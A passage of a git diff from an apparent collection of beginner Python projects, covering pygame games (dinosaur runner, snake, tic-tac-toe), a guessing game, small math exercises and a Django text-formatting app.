-self.width: + self.x = SCREEN_WIDTH + random.randint(2500, 3000) + self.y = random.randint(50, 100) + + def draw(self, SCREEN): + SCREEN.blit(self.image, (self.x, self.y)) + + +class Obstacle: + def __init__(self, image, type): + self.image = image + self.type = type + self.rect = self.image[self.type].get_rect() + self.rect.x = SCREEN_WIDTH + + def update(self): + self.rect.x -= game_speed + if self.rect.x < -self.rect.width: + obstacles.pop() + + def draw(self, SCREEN): + SCREEN.blit(self.image[self.type], self.rect) + + +class SmallCactus(Obstacle): + def __init__(self, image): + self.type = random.randint(0, 2) + super().__init__(image, self.type) + self.rect.y = 325 + + +class LargeCactus(Obstacle): + def __init__(self, image): + self.type = random.randint(0, 2) + super().__init__(image, self.type) + self.rect.y = 300 + + +class Bird(Obstacle): + def __init__(self, image): + self.type = 0 + super().__init__(image, self.type) + self.rect.y = 250 + self.index = 0 + + def draw(self, SCREEN): + if self.index >= 9: + self.index = 0 + SCREEN.blit(self.image[self.index//5], self.rect) + self.index += 1 + + +def main(): + global game_speed, x_pos_bg, y_pos_bg, points, obstacles + run = True + clock = pygame.time.Clock() + player = Dinosaur() + cloud = Cloud() + game_speed = 20 + x_pos_bg = 0 + y_pos_bg = 380 + points = 0 + font = pygame.font.Font('freesansbold.ttf', 20) + obstacles = [] + death_count = 0 + + def score(): + global points, game_speed + points += 1 + if points % 100 == 0: + game_speed += 1 + + text = font.render("Points: " + str(points), True, (0, 0, 0)) + textRect = text.get_rect() + textRect.center = (1000, 40) + SCREEN.blit(text, textRect) + + def background(): + global x_pos_bg, y_pos_bg + image_width = BG.get_width() + SCREEN.blit(BG, (x_pos_bg, y_pos_bg)) + SCREEN.blit(BG, (image_width + x_pos_bg, y_pos_bg)) + if x_pos_bg <= -image_width: + SCREEN.blit(BG, (image_width + x_pos_bg, y_pos_bg)) + x_pos_bg = 0 + x_pos_bg -= game_speed + + while run: + for event in pygame.event.get(): + if event.type == pygame.QUIT: + run = False + + SCREEN.fill((255, 255, 255)) + userInput = pygame.key.get_pressed() + + player.draw(SCREEN) + player.update(userInput) + + if len(obstacles) == 0: + if random.randint(0, 2) == 0: + obstacles.append(SmallCactus(SMALL_CACTUS)) + elif random.randint(0, 2) == 1: + obstacles.append(LargeCactus(LARGE_CACTUS)) + elif random.randint(0, 2) == 2: + obstacles.append(Bird(BIRD)) + + for obstacle in obstacles: + obstacle.draw(SCREEN) + obstacle.update() + if player.dino_rect.colliderect(obstacle.rect): + pygame.time.delay(2000) + death_count += 1 + menu(death_count) + + background() + + cloud.draw(SCREEN) + cloud.update() + + score() + + clock.tick(30) + pygame.display.update() + + +def menu(death_count): + global points + run = True + while run: + SCREEN.fill((255, 255, 255)) + font = pygame.font.Font('freesansbold.ttf', 30) + + if death_count == 0: + text = font.render("Press any Key to Start", True, (0, 0, 0)) + elif death_count > 0: + text = font.render("Press any Key to Restart", True, (0, 0, 0)) + score = font.render("Your Score: " + str(points), True, (0, 0, 0)) + scoreRect = score.get_rect() + scoreRect.center = (SCREEN_WIDTH // 2, SCREEN_HEIGHT // 2 + 50) + SCREEN.blit(score, scoreRect) + textRect = text.get_rect() + textRect.center = (SCREEN_WIDTH // 2, SCREEN_HEIGHT // 2) + SCREEN.blit(text, textRect) + SCREEN.blit(RUNNING[0], (SCREEN_WIDTH // 2 - 20, SCREEN_HEIGHT // 2 - 140)) + pygame.display.update() + for event in pygame.event.get(): + if event.type == pygame.QUIT: + run = False + if event.type == pygame.KEYDOWN: + main() + + +menu(death_count=0) diff --git a/Projects/Game_of_Life/README.md b/Projects/Games Projects/Game_of_Life/README.md similarity index 100% rename from Projects/Game_of_Life/README.md rename to Projects/Games Projects/Game_of_Life/README.md diff --git a/Projects/Game_of_Life/game_of_life.py b/Projects/Games Projects/Game_of_Life/game_of_life.py similarity index 100% rename from Projects/Game_of_Life/game_of_life.py rename to Projects/Games Projects/Game_of_Life/game_of_life.py diff --git a/Projects/GuessNumber/guess_number.py b/Projects/Games Projects/GuessNumber/guess_number.py similarity index 100% rename from Projects/GuessNumber/guess_number.py rename to Projects/Games Projects/GuessNumber/guess_number.py diff --git a/Projects/HangMan-Game/Assets/hangman.jpg b/Projects/Games Projects/HangMan-Game/Assets/hangman.jpg similarity index 100% rename from Projects/HangMan-Game/Assets/hangman.jpg rename to Projects/Games Projects/HangMan-Game/Assets/hangman.jpg diff --git a/Projects/HangMan-Game/hangman.py b/Projects/Games Projects/HangMan-Game/hangman.py similarity index 100% rename from Projects/HangMan-Game/hangman.py rename to Projects/Games Projects/HangMan-Game/hangman.py diff --git a/Projects/HangMan-Game/readme.md b/Projects/Games Projects/HangMan-Game/readme.md similarity index 100% rename from Projects/HangMan-Game/readme.md rename to Projects/Games Projects/HangMan-Game/readme.md diff --git a/Projects/MineSweeperGame/mineSweeperGame.py b/Projects/Games Projects/MineSweeperGame/mineSweeperGame.py similarity index 100% rename from Projects/MineSweeperGame/mineSweeperGame.py rename to Projects/Games Projects/MineSweeperGame/mineSweeperGame.py diff --git a/Projects/PingPongGame/pingponggame.py b/Projects/Games Projects/PingPongGame/pingponggame.py similarity index 100% rename from Projects/PingPongGame/pingponggame.py rename to Projects/Games Projects/PingPongGame/pingponggame.py diff --git a/Projects/SNAKE GAME/snake.py b/Projects/Games Projects/SNAKE GAME/snake.py similarity index 96% rename from Projects/SNAKE GAME/snake.py rename to Projects/Games Projects/SNAKE GAME/snake.py index b7f2612d1..06a02bcf1 100644 --- a/Projects/SNAKE GAME/snake.py +++ b/Projects/Games Projects/SNAKE GAME/snake.py @@ -1,127 +1,127 @@ -import pygame -import time -import random - -pygame.init() - -white = (255, 255, 255) -yellow = (255, 255, 102) -black = (0, 0, 0) -red = (213, 50, 80) -green = (0, 255, 0) -blue = (50, 153, 213) - -dis_width = 600 -dis_height = 400 - -dis = pygame.display.set_mode((dis_width, dis_height)) -pygame.display.set_caption('Snake Game by Edureka') - -clock = pygame.time.Clock() - -snake_block = 10 -snake_speed = 15 - -font_style = pygame.font.SysFont("bahnschrift", 25) -score_font = pygame.font.SysFont("comicsansms", 35) - - -def Your_score(score): - value = score_font.render("Your Score: " + str(score), True, yellow) - dis.blit(value, [0, 0]) - - - -def our_snake(snake_block, snake_list): - for x in snake_list: - pygame.draw.rect(dis, black, [x[0], x[1], snake_block, snake_block]) - - -def message(msg, color): - mesg = font_style.render(msg, True, color) - dis.blit(mesg, [dis_width / 6, dis_height / 3]) - - -def gameLoop(): - game_over = False - game_close = False - - x1 = dis_width / 2 - y1 = dis_height / 2 - - x1_change = 0 - y1_change = 0 - - snake_List = [] - Length_of_snake = 1 - - foodx = round(random.randrange(0, dis_width - snake_block) / 10.0) * 10.0 - foody = round(random.randrange(0, dis_height - snake_block) / 10.0) * 10.0 - - while not game_over: - - while game_close == True: - dis.fill(blue) - message("You Lost! Press C-Play Again or Q-Quit", red) - Your_score(Length_of_snake - 1) - pygame.display.update() - - for event in pygame.event.get(): - if event.type == pygame.KEYDOWN: - if event.key == pygame.K_q: - game_over = True - game_close = False - if event.key == pygame.K_c: - gameLoop() - - for event in pygame.event.get(): - if event.type == pygame.QUIT: - game_over = True - if event.type == pygame.KEYDOWN: - if event.key == pygame.K_LEFT: - x1_change = -snake_block - y1_change = 0 - elif event.key == pygame.K_RIGHT: - x1_change = snake_block - y1_change = 0 - elif event.key == pygame.K_UP: - y1_change = -snake_block - x1_change = 0 - elif event.key == pygame.K_DOWN: - y1_change = snake_block - x1_change = 0 - - if x1 >= dis_width or x1 < 0 or y1 >= dis_height or y1 < 0: - game_close = True - x1 += x1_change - y1 += y1_change - dis.fill(blue) - pygame.draw.rect(dis, green, [foodx, foody, snake_block, snake_block]) - snake_Head = [] - snake_Head.append(x1) - snake_Head.append(y1) - snake_List.append(snake_Head) - if len(snake_List) > Length_of_snake: - del snake_List[0] - - for x in snake_List[:-1]: - if x == snake_Head: - game_close = True - - our_snake(snake_block, snake_List) - Your_score(Length_of_snake - 1) - - pygame.display.update() - - if x1 == foodx and y1 == foody: - foodx = round(random.randrange(0, dis_width - snake_block) / 10.0) * 10.0 - foody = round(random.randrange(0, dis_height - snake_block) / 10.0) * 10.0 - Length_of_snake += 1 - - clock.tick(snake_speed) - - pygame.quit() - quit() - - -gameLoop() +import pygame +import time +import random + +pygame.init() + +white = (255, 255, 255) +yellow = (255, 255, 102) +black = (0, 0, 0) +red = (213, 50, 80) +green = (0, 255, 0) +blue = (50, 153, 213) + +dis_width = 600 +dis_height = 400 + +dis = pygame.display.set_mode((dis_width, dis_height)) +pygame.display.set_caption('Snake Game by Edureka') + +clock = pygame.time.Clock() + +snake_block = 10 +snake_speed = 15 + +font_style = pygame.font.SysFont("bahnschrift", 25) +score_font = pygame.font.SysFont("comicsansms", 35) + + +def Your_score(score): + value = score_font.render("Your Score: " + str(score), True, yellow) + dis.blit(value, [0, 0]) + + + +def our_snake(snake_block, snake_list): + for x in snake_list: + pygame.draw.rect(dis, black, [x[0], x[1], snake_block, snake_block]) + + +def message(msg, color): + mesg = font_style.render(msg, True, color) + dis.blit(mesg, [dis_width / 6, dis_height / 3]) + + +def gameLoop(): + game_over = False + game_close = False + + x1 = dis_width / 2 + y1 = dis_height / 2 + + x1_change = 0 + y1_change = 0 + + snake_List = [] + Length_of_snake = 1 + + foodx = round(random.randrange(0, dis_width - snake_block) / 10.0) * 10.0 + foody = round(random.randrange(0, dis_height - snake_block) / 10.0) * 10.0 + + while not game_over: + + while game_close == True: + dis.fill(blue) + message("You Lost! Press C-Play Again or Q-Quit", red) + Your_score(Length_of_snake - 1) + pygame.display.update() + + for event in pygame.event.get(): + if event.type == pygame.KEYDOWN: + if event.key == pygame.K_q: + game_over = True + game_close = False + if event.key == pygame.K_c: + gameLoop() + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + game_over = True + if event.type == pygame.KEYDOWN: + if event.key == pygame.K_LEFT: + x1_change = -snake_block + y1_change = 0 + elif event.key == pygame.K_RIGHT: + x1_change = snake_block + y1_change = 0 + elif event.key == pygame.K_UP: + y1_change = -snake_block + x1_change = 0 + elif event.key == pygame.K_DOWN: + y1_change = snake_block + x1_change = 0 + + if x1 >= dis_width or x1 < 0 or y1 >= dis_height or y1 < 0: + game_close = True + x1 += x1_change + y1 += y1_change + dis.fill(blue) + pygame.draw.rect(dis, green, [foodx, foody, snake_block, snake_block]) + snake_Head = [] + snake_Head.append(x1) + snake_Head.append(y1) + snake_List.append(snake_Head) + if len(snake_List) > Length_of_snake: + del snake_List[0] + + for x in snake_List[:-1]: + if x == snake_Head: + game_close = True + + our_snake(snake_block, snake_List) + Your_score(Length_of_snake - 1) + + pygame.display.update() + + if x1 == foodx and y1 == foody: + foodx = round(random.randrange(0, dis_width - snake_block) / 10.0) * 10.0 + foody = round(random.randrange(0, dis_height - snake_block) / 10.0) * 10.0 + Length_of_snake += 1 + + clock.tick(snake_speed) + + pygame.quit() + quit() + + +gameLoop() diff --git a/Projects/Space Shooter Game/SHPinscher-Regular.otf b/Projects/Games Projects/Space Shooter Game/SHPinscher-Regular.otf similarity index 100% rename from Projects/Space Shooter Game/SHPinscher-Regular.otf rename to Projects/Games Projects/Space Shooter Game/SHPinscher-Regular.otf diff --git a/Projects/Space Shooter Game/background.png b/Projects/Games Projects/Space Shooter Game/background.png similarity index 100% rename from Projects/Space Shooter Game/background.png rename to Projects/Games Projects/Space Shooter Game/background.png diff --git a/Projects/Space Shooter Game/bullet.png b/Projects/Games Projects/Space Shooter Game/bullet.png similarity index 100% rename from Projects/Space Shooter Game/bullet.png rename to Projects/Games Projects/Space Shooter Game/bullet.png diff --git a/Projects/Space Shooter Game/enemy laser.png b/Projects/Games Projects/Space Shooter Game/enemy laser.png similarity index 100% rename from Projects/Space Shooter Game/enemy laser.png rename to Projects/Games Projects/Space Shooter Game/enemy laser.png diff --git a/Projects/Space Shooter Game/enemy spaceship.png b/Projects/Games Projects/Space Shooter Game/enemy spaceship.png similarity index 100% rename from Projects/Space Shooter Game/enemy spaceship.png rename to Projects/Games Projects/Space Shooter Game/enemy spaceship.png diff --git a/Projects/Space Shooter Game/main.py b/Projects/Games Projects/Space Shooter Game/main.py similarity index 100% rename from Projects/Space Shooter Game/main.py rename to Projects/Games Projects/Space Shooter Game/main.py diff --git a/Projects/Space Shooter Game/missile spaceship.png b/Projects/Games Projects/Space Shooter Game/missile spaceship.png similarity index 100% rename from Projects/Space Shooter Game/missile spaceship.png rename to Projects/Games Projects/Space Shooter Game/missile spaceship.png diff --git a/Projects/Space Shooter Game/missile.png b/Projects/Games Projects/Space Shooter Game/missile.png similarity index 100% rename from Projects/Space Shooter Game/missile.png rename to Projects/Games Projects/Space Shooter Game/missile.png diff --git a/Projects/Space Shooter Game/spaceship.png b/Projects/Games Projects/Space Shooter Game/spaceship.png similarity index 100% rename from Projects/Space Shooter Game/spaceship.png rename to Projects/Games Projects/Space Shooter Game/spaceship.png diff --git a/Projects/SpaceTennisGame/spaceTennisGame.py b/Projects/Games Projects/SpaceTennisGame/spaceTennisGame.py similarity index 100% rename from Projects/SpaceTennisGame/spaceTennisGame.py rename to Projects/Games Projects/SpaceTennisGame/spaceTennisGame.py diff --git a/Projects/StonePaperScissors.py b/Projects/Games Projects/StonePaperScissors.py similarity index 100% rename from Projects/StonePaperScissors.py rename to Projects/Games Projects/StonePaperScissors.py diff --git a/Projects/Games Projects/Tic-Tac-Toe/xox.py b/Projects/Games Projects/Tic-Tac-Toe/xox.py new file mode 100644 index 000000000..417bf791f --- /dev/null +++ b/Projects/Games Projects/Tic-Tac-Toe/xox.py @@ -0,0 +1,98 @@ +import random + +class TicTacToe: + def __init__(self): + self.board = [] + def create_board(self): + for i in range(3): + row = [] + for j in range(3): + row.append('-') + self.board.append(row) + def get_random_first_player(self): + return random.randint(0, 1) + def fix_spot(self, row, col, player): + self.board[row][col] = player + def is_player_win(self, player): + win = None + n = len(self.board) + # checking rows + for i in range(n): + win = True + for j in range(n): + if self.board[i][j] != player: + win = False + break + if win: + return win + # checking columns + for i in range(n): + win = True + for j in range(n): + if self.board[j][i] != player: + win = False + break + if win: + return win + # checking diagonals + win = True + for i in range(n): + if self.board[i][i] != player: + win = False + break + if win: + return win + win = True + for i in range(n): + if self.board[i][n - 1 - i] != player: + win = False + break + if win: + return win + return False + for row in self.board: + for item in row: + if item == '-': + return False + return True + def is_board_filled(self): + for row in self.board: + for item in row: + if item == '-': + return False + return True + def swap_player_turn(self, player): + return 'X' if player == 'O' else 'O' + def show_board(self): + for row in self.board: + for item in row: + print(item, end=" ") + print() + def start(self): + self.create_board() + player = 'X' if self.get_random_first_player() == 1 else 'O' + while True: + print(f"Player {player} turn") + self.show_board() + # taking user input + row, col = list( + map(int, input("Enter row and column numbers to fix spot: ").split())) + print() + # fixing the spot + self.fix_spot(row - 1, col - 1, player) + # checking whether current player is won or not + if self.is_player_win(player): + print(f"Player {player} wins the game!") + break + # checking whether the game is draw or not + if self.is_board_filled(): + print("Match Draw!") + break + # swapping the turn + player = self.swap_player_turn(player) + # showing the final view of board + print() + self.show_board() +# starting the game +tic_tac_toe = TicTacToe() +tic_tac_toe.start() diff --git a/Projects/snakeGame/snakeGame.py b/Projects/Games Projects/snakeGame/snakeGame.py similarity index 100% rename from Projects/snakeGame/snakeGame.py rename to Projects/Games Projects/snakeGame/snakeGame.py diff --git a/Projects/tictactoe.py b/Projects/Games Projects/tictactoe.py similarity index 100% rename from Projects/tictactoe.py rename to Projects/Games Projects/tictactoe.py diff --git a/Projects/treasure_island/treasure_island.py b/Projects/Games Projects/treasure_island/treasure_island.py similarity index 100% rename from Projects/treasure_island/treasure_island.py rename to Projects/Games Projects/treasure_island/treasure_island.py diff --git a/Projects/Guessinggame/guessinggame.py b/Projects/Guessinggame/guessinggame.py new file mode 100644 index 000000000..4a2e461dd --- /dev/null +++ b/Projects/Guessinggame/guessinggame.py @@ -0,0 +1,53 @@ +import random as rd +logo =''' + ____ _ _____ +| __ \ (_) | __ \ +| | \/_ _ ___ ___ ___ _ _ __ __ _ | | \/ __ _ _ __ ___ ___ +| | __| | | |/ _ \/ __/ __| | '_ \ / _` | | | __ / _` | '_ ` _ \ / _ \ +| |_\ \ |_| | __/\__ \__ \ | | | | (_| | | |_\ \ (_| | | | | | | __/ + \____/\__,_|\___||___/___/_|_| |_|\__, | \____/\__,_|_| |_| |_|\___| + __/ | + |___/ +''' + + + + +EASY_LEVEL_TURNS = 10 +HARD_LEVEL_TURNS =5 +#function to check user's guess against actual answer +def check_answer(guess,answer ,turns): + ''' checks answer against guess.Returs the number of turns remaining''' + if guess > answer : + print('Too high') + return turns-1 + elif guess < answer: + print('Too low') + return turns-1 + else: + print(f'You got it! the answer was {answer}.') + +def set_difficulty(): + level = input('Choose a difficulty. type "easy" or "hard :"').lower() + if level == 'easy': + return EASY_LEVEL_TURNS + else: + return HARD_LEVEL_TURNS +def game(): + print(logo) + print('Welcome To The Guessing Game !') + print('I am thinking the number between 1 and 100') + answer = rd.randint(1,100) + turns = set_difficulty() + guess=0 + while guess!= answer: + print(f'You have {turns} attempts remaining to guess the number') + guess = int(input('Make A Guess :')) + turns = check_answer(guess,answer,turns) + if turns == 0: + print("You've run out of guesses, you lose.") + return + elif guess != answer: + print("Guess again.") + +game() diff --git a/Projects/Linear_search/Linear_search.py b/Projects/Linear_search/Linear_search.py new file mode 100644 index 000000000..cfb604863 --- /dev/null +++ b/Projects/Linear_search/Linear_search.py @@ -0,0 +1,20 @@ +# Linear Search in Python + + +def linearSearch(array, n, x): + + # Going through array sequencially + for i in range(0, n): + if (array[i] == x): + return i + return -1 + + +array = [2, 4, 0, 1, 9] +x = 1 +n = len(array) +result = linearSearch(array, n, x) +if(result == -1): + print("Element not found") +else: + print("Element found at index: ", result) diff --git a/Projects/MathGame/AgeInDay.py b/Projects/MathGame/AgeInDay.py new file mode 100644 index 000000000..9f119a9a6 --- /dev/null +++ b/Projects/MathGame/AgeInDay.py @@ -0,0 +1,17 @@ +#Age in days +#Read an integer value corresponding to a person's age in days and enter it in years, months and days + +inputDays = int(input("Enter your age in days: ")) + +yearInDays = 365; +monthInDays = 30; + +yDays = inputDays / yearInDays; +mDays = (inputDays % yearInDays) / monthInDays; +days = ((inputDays % yearInDays) % monthInDays); + +print("Year(s): ",int(yDays)) +print("Month(s)", int(mDays)) +print("Day(s)", int(days)) + +#Output [400Days --> 1Year, 1Month, 5Days] \ No newline at end of file diff --git a/Projects/MathGame/SimpleProduct.py b/Projects/MathGame/SimpleProduct.py new file mode 100644 index 000000000..7784243e4 --- /dev/null +++ b/Projects/MathGame/SimpleProduct.py @@ -0,0 +1,9 @@ +#Simple Product Game +#Read two integer values. Next, calculate the product between these two values ​​and assign this operation to the variable prod. Then show the variable "product" with corresponding message. + +n1 = int(input("Enter first number: ")) +n2 = int(input("Enter second number: ")) + +prod = n1 * n2 + +print("The product is:",prod) \ No newline at end of file diff --git a/Projects/MathGame/challenge6_sayuni.py b/Projects/MathGame/challenge6_sayuni.py new file mode 100644 index 000000000..e88d00bfa --- /dev/null +++ b/Projects/MathGame/challenge6_sayuni.py @@ -0,0 +1,11 @@ +# Convert Seconds +#Read an integer value that corresponds to a value in seconds then Convert them value to hours, minutes, and seconds +T=int(input("Enter values in seconds: ")) + + +HH=round(T/(3600)) +MM=((T%(3600))/60) +SS=(T%(60*60))%60 + +x="%02d:%02d:%02d"%(HH,MM,SS) +print(x) diff --git a/Projects/MathGame/sayuni1.py b/Projects/MathGame/sayuni1.py new file mode 100644 index 000000000..43b0f57ac --- /dev/null +++ b/Projects/MathGame/sayuni1.py @@ -0,0 +1,11 @@ +##Convert "Zero" and "One" to "1" and "0" +num=["Zero","One"] + +#then check key and print the 0 or 1 +for n in range (0,len(num)): + if num[n]=="Zero": + print("Zero =", 0) + elif num[n]=="One": + print("One =", 1) + + diff --git a/Projects/MathGame/sayuni3.py b/Projects/MathGame/sayuni3.py new file mode 100644 index 000000000..6a430c131 --- /dev/null +++ b/Projects/MathGame/sayuni3.py @@ -0,0 +1,9 @@ +#is the number even or odd + +while (True): + number=int(input("Enter the value: ")) + if number%2==0: + print("Even number: ",number) + else: + print("Odd number: ",number) + diff --git a/Projects/MathGame/sayuni4.py b/Projects/MathGame/sayuni4.py new file mode 100644 index 000000000..63abd0645 --- /dev/null +++ b/Projects/MathGame/sayuni4.py @@ -0,0 +1,23 @@ +#find the smallest and the biggest number +print("After finished enter values please enter stop") + +list1=[] +while(True): + + num=input("enter value: ") + list1.append(num) + if num=="stop": + break + +list1.remove("stop") + + +n_list=[] +for n in range(0,len(list1)): + list1[n]==int(list1[n]) + n_list.append(int(list1[n])) +print(n_list) + + +print("Smallest number: ",min(n_list)) +print("Biggest number: ",max(n_list)) diff --git a/Projects/Pascal_triangle/Pascal_triangle.py b/Projects/Pascal_triangle/Pascal_triangle.py new file mode 100644 index 000000000..b0a35918a --- /dev/null +++ b/Projects/Pascal_triangle/Pascal_triangle.py @@ -0,0 +1,24 @@ +from math import factorial +from itertools import islice + + +# input n +def solve(n): + list1=[] + list2=[] + for i in range(1,n+1): + list2.append(i) + + for i in range(n): + for j in range(i + 1): + # nCr = n!/((n-r)!*r!) + k=factorial(i) // (factorial(j) * factorial(i - j)) + list1.append(k) + + + Inputt = iter(list1) + Output = [list(islice(Inputt, elem))for elem in list2] + print(Output) +if __name__ == '__main__': + n=int(input("Enter n:")) + solve(n) diff --git a/Projects/Python frameworks/Django/textapp/db.sqlite3 b/Projects/Python frameworks/Django/textapp/db.sqlite3 new file mode 100644 index 000000000..e69de29bb diff --git a/Projects/Python frameworks/Django/textapp/home/__init__.py b/Projects/Python frameworks/Django/textapp/home/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/Projects/Python frameworks/Django/textapp/home/__pycache__/__init__.cpython-310.pyc b/Projects/Python frameworks/Django/textapp/home/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 000000000..3b650af23 Binary files /dev/null and b/Projects/Python frameworks/Django/textapp/home/__pycache__/__init__.cpython-310.pyc differ diff --git a/Projects/Python frameworks/Django/textapp/home/__pycache__/urls.cpython-310.pyc b/Projects/Python frameworks/Django/textapp/home/__pycache__/urls.cpython-310.pyc new file mode 100644 index 000000000..029e06a9a Binary files /dev/null and b/Projects/Python frameworks/Django/textapp/home/__pycache__/urls.cpython-310.pyc differ diff --git a/Projects/Python frameworks/Django/textapp/home/__pycache__/views.cpython-310.pyc b/Projects/Python frameworks/Django/textapp/home/__pycache__/views.cpython-310.pyc new file mode 100644 index 000000000..281f9ab17 Binary files /dev/null and b/Projects/Python frameworks/Django/textapp/home/__pycache__/views.cpython-310.pyc differ diff --git a/Projects/Python frameworks/Django/textapp/home/admin.py b/Projects/Python frameworks/Django/textapp/home/admin.py new file mode 100644 index 000000000..8c38f3f3d --- /dev/null +++ b/Projects/Python frameworks/Django/textapp/home/admin.py @@ -0,0 +1,3 @@ +from django.contrib import admin + +# Register your models here. diff --git a/Projects/Python frameworks/Django/textapp/home/apps.py b/Projects/Python frameworks/Django/textapp/home/apps.py new file mode 100644 index 000000000..e5ea0afa8 --- /dev/null +++ b/Projects/Python frameworks/Django/textapp/home/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig + + +class HomeConfig(AppConfig): + default_auto_field = 'django.db.models.BigAutoField' + name = 'home' diff --git a/Projects/Python frameworks/Django/textapp/home/migrations/__init__.py b/Projects/Python frameworks/Django/textapp/home/migrations/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/Projects/Python frameworks/Django/textapp/home/models.py b/Projects/Python frameworks/Django/textapp/home/models.py new file mode 100644 index 000000000..71a836239 --- /dev/null +++ b/Projects/Python frameworks/Django/textapp/home/models.py @@ -0,0 +1,3 @@ +from django.db import models + +# Create your models here. diff --git a/Projects/Python frameworks/Django/textapp/home/tests.py b/Projects/Python frameworks/Django/textapp/home/tests.py new file mode 100644 index 000000000..7ce503c2d --- /dev/null +++ b/Projects/Python frameworks/Django/textapp/home/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/Projects/Python frameworks/Django/textapp/home/urls.py b/Projects/Python frameworks/Django/textapp/home/urls.py new file mode 100644 index 000000000..5ba647aa3 --- /dev/null +++ b/Projects/Python frameworks/Django/textapp/home/urls.py @@ -0,0 +1,8 @@ +from django.urls import path ,include +from home import views + +urlpatterns = [ + path('', views.index, name="home"), + path('analyse/',views.analyse,name="analyse"), + +] diff --git a/Projects/Python frameworks/Django/textapp/home/views.py b/Projects/Python frameworks/Django/textapp/home/views.py new file mode 100644 index 000000000..f7a24f478 --- /dev/null +++ b/Projects/Python frameworks/Django/textapp/home/views.py @@ -0,0 +1,68 @@ +from ast import Param +from os import remove +from urllib import response +from django.http import HttpRequest +from django.shortcuts import render ,HttpResponse +from gingerit.gingerit import GingerIt + +# Create your views here. + +def index(request): + return render(request,"index.html") + +def analyse(request): + get_text=request.GET.get('text','default') + remove=request.GET.get("removepunc",'off') + upper=request.GET.get("uppercase",'off') + lower=request.GET.get("lowercase",'off') + spell=request.GET.get("Spelling-check",'off') + + done=get_text + if remove =="on": + if upper=="on": + print("erfdgbdsfghfrferghfrf") + punc='''!@#$%^&*()_+-=?/>.<,"':;''' + analized="" + for i in done: + if i not in punc: + analized+=i + analized=analized.upper() + params={"your":"Remove puncuation and uppercase", "final":analized} + return render(request,"index.html",params) + elif lower=="on": + punc='''!@#$%^&*()_+-=?/>.<,"':;''' + analized="" + for i in done: + if i not in punc: + analized+=i + params={"your":"Remove puncuation and lowercase", "final":analized.lower()} + return render(request,"index.html",params) + else: + + punc='''!@#$%^&*()_+-=?/>.<,"':;''' + analized="" + for i in done: + if i not in punc: + analized+=i + params={"your":"Remove puncuation", "final":analized} + return render(request,"index.html",params) + elif upper=="on": + print("yesss") + params={"your":"uppercase", "final":done.upper()} + return render(request,"index.html",params) + + elif lower=="on": + params={"your":"lowercase", "final":done.lower()} + return render(request,"index.html",params) + + elif spell=="on": + parser = GingerIt() + print(type(parser.parse(done))) + result=parser.parse(done)['result'] + params={"your":"Remove puncuation and lowercase", "final":result} + + return render(request,"index.html",params) + + + else: + return HttpResponse("error") \ No newline at end of file diff --git a/Projects/Python frameworks/Django/textapp/manage.py b/Projects/Python frameworks/Django/textapp/manage.py new file mode 100644 index 000000000..1e65cdb2e --- /dev/null +++ b/Projects/Python frameworks/Django/textapp/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'textapp.settings') + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == '__main__': + main() diff --git a/Projects/Python frameworks/Django/textapp/static/css/style.css b/Projects/Python frameworks/Django/textapp/static/css/style.css new file mode 100644 index 000000000..e69de29bb diff --git a/Projects/Python frameworks/Django/textapp/templates/analzed.html b/Projects/Python frameworks/Django/textapp/templates/analzed.html new file mode 100644 index 000000000..acdfa622b --- /dev/null +++ b/Projects/Python frameworks/Django/textapp/templates/analzed.html @@ -0,0 +1,22 @@ + + + + + + + {% block title %}{% endblock title %}|wallpapers + + + + + + + +
+

Analaysing text......

+

Your text with {{your}}

+ + {{final}} +
+ + \ No newline at end of file diff --git a/Projects/Python frameworks/Django/textapp/templates/index.html b/Projects/Python frameworks/Django/textapp/templates/index.html new file mode 100644 index 000000000..deaef7eda --- /dev/null +++ b/Projects/Python frameworks/Django/textapp/templates/index.html @@ -0,0 +1,73 @@ +{% load static %} + + + + + + + {% block title %}{% endblock title %}|wallpapers + + + + + + + + + +
+
+
+

Text-app


+
+ +
+ +
+
+ + +
+
+ + +
+
+ + +
+ +
+ + + + + + +
+
+

Analaysing text......

+

Your text with {{your}}

+ + {{final}} +
+
+ + diff --git a/Projects/Python frameworks/Django/textapp/textapp/__init__.py b/Projects/Python frameworks/Django/textapp/textapp/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/Projects/Python frameworks/Django/textapp/textapp/__pycache__/__init__.cpython-310.pyc b/Projects/Python frameworks/Django/textapp/textapp/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 000000000..fe43cb9fd Binary files /dev/null and b/Projects/Python frameworks/Django/textapp/textapp/__pycache__/__init__.cpython-310.pyc differ diff --git a/Projects/Python frameworks/Django/textapp/textapp/__pycache__/settings.cpython-310.pyc b/Projects/Python frameworks/Django/textapp/textapp/__pycache__/settings.cpython-310.pyc new file mode 100644 index 000000000..a52092e88 Binary files /dev/null and b/Projects/Python frameworks/Django/textapp/textapp/__pycache__/settings.cpython-310.pyc differ diff --git a/Projects/Python frameworks/Django/textapp/textapp/__pycache__/urls.cpython-310.pyc b/Projects/Python frameworks/Django/textapp/textapp/__pycache__/urls.cpython-310.pyc new file mode 100644 index 000000000..7c0b9d58e Binary files /dev/null and b/Projects/Python frameworks/Django/textapp/textapp/__pycache__/urls.cpython-310.pyc differ diff --git a/Projects/Python frameworks/Django/textapp/textapp/__pycache__/wsgi.cpython-310.pyc b/Projects/Python frameworks/Django/textapp/textapp/__pycache__/wsgi.cpython-310.pyc new file mode 100644 index 000000000..3053a946b Binary files /dev/null and b/Projects/Python frameworks/Django/textapp/textapp/__pycache__/wsgi.cpython-310.pyc differ diff --git a/Projects/Python frameworks/Django/textapp/textapp/asgi.py b/Projects/Python frameworks/Django/textapp/textapp/asgi.py new file mode 100644 index 000000000..641b58781 --- /dev/null +++ b/Projects/Python frameworks/Django/textapp/textapp/asgi.py @@ -0,0 +1,16 @@ +""" +ASGI config for textapp project. + +It 